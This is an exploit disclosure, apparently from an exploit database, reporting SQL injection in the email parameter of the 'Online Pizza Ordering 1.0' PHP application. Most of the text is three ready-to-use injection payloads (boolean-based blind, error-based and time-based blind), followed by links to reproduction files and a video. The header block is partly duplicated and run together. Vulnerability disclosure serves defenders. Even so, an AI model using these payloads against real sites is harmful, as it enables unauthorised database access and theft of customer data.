## Author: nu11secur1ty
## Date: 03.31.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/ph ## Title: Online-Pizza-Ordering-1.0-Multiple-SQLi
## Author: nu11secur1ty
## Date: 03.31.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks.
The attacker easily can steal all information from the database, and
it depends on the time he will need to decrypt this information,
he can decrypt and use this information for very malicious purposes.
STATUS: HIGH Vulnerability
[+]Payload:
```mysql
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'
AND 2244=2244 AND 'GqOB'='GqOB&password=b0E!i9g!K9
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479' OR
(SELECT 8595 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT
(ELT(8595=8595,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'FXYe'='FXYe&password=b0E!i9g!K9
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'
AND (SELECT 3772 FROM (SELECT(SLEEP(7)))xChJ) AND
'pJWv'='pJWv&password=b0E!i9g!K9
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-Pizza-Ordering-1.0/SQLi)
## Proof and Exploit:
[href](https://streamable.com/qil6by)
## Time spend:
00:37:00